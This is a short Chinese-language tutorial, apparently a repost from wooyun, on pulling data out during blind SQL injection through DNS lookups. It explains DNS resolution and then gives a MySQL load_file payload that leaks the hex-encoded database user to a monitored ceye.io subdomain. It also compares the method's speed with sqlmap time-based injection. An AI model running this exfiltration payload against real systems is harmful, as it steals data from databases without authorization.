最近在延时注入上花了不上功夫，由于觉得注入太慢，前几天自己写了一个脚本顺便锻炼一下自己的程序编写能力。但是还是觉得太慢了，今天突然想起了前段时间一朋友跟我提起的利用DNS 进行延时注入，在这上面花了不少时间，大多数时间都是在配置DNS服务器上，最后才发现TMD DNS服务器要注册。感觉有点坑，成本太高。好在发现了某大神做的一个网站： http://ceye.io/
DNS解析：
当一个客户端需要查找程序中使用的网络名时，它会查询DNS服务器。DNS查询有许多不同的解析方式：
如果信息已经被预先用相同的查询获得，客户端可以使用本地缓存信息应答查询。
DNS服务器可以使用其自己的高速缓存和/或区记录的信息来应答查询 - 这个过程被称为迭代。
DNS服务器也可以转发查询给代表所请求的客户端的其他DNS服务器以全面解析名称，然后将回应发送回客户端 - 这个过程被称为递归。
例如，使用递归过程解析名称test.example.com。这种情况发生于DNS服务器和客户端都是第一次启动且没有能用来解析域名查询的本地缓存信息。此外，假设客户端发起的域名查询是一个本地没有其配置区域信息的域名。
首先，默认的DNS服务器解析域名的全名并且确定该域名是一个需要知道地址的权威的顶级域名（TLD）服务器--在这个案例的域名中。然后，它使用迭代（非递归）查询该服务器来获得推荐的example.com域。
当它的地址被完成检索后，被引用的服务器会被联接--这实际上是一个注册example.com域的域名服务器。因为它所配置的区域包含了查询的域名，它会将所得到的IP地址作为一个权威响应返回给发起该过程的原始服务器。
当原始的DNS服务器接收到所请求的查询所获得的权威响应，它转发该响应回客户端，递归查询过程结束。 这类的解决方案通常由DNS服务器尝试解析DNS客户端发起的递归域名查询时发起的，并且有时被称为“遍历树”（walking the tree）。
利用：
么我们可以使用mysql的load_file函数去读远程文件，而如果这个远程ip是我们预先设定并监控的，抓一下80的log会看到什么呢？让我们试一下
在数据库中执行语句 select load_file(concat('\\\\',(selecthex(user())),'.vxmpji.ceye.io\\321'));
说明一下这里为什么要转换hex ，因为root@localhost是不会解析的
再到网站看一下日志文件：
726F6F74406C6F63616C686F7374 就是select hex(user())的结果了 可以用工具转换一下
实战：
这里我用sqlmap和DNS 两种方式来进行对比
SQLMAP：
延时注入，读取一下user
开始时间：17:02:47 结束时间：17:04:09
用时1分22秒
DNS： 用时21秒 可见，效果是非常理想的。
================================================= 文章内容引用时请注意附带原地址： 在SQL注入中使用DNS获取数据：http://drops.wooyun.org/tips/5283
| 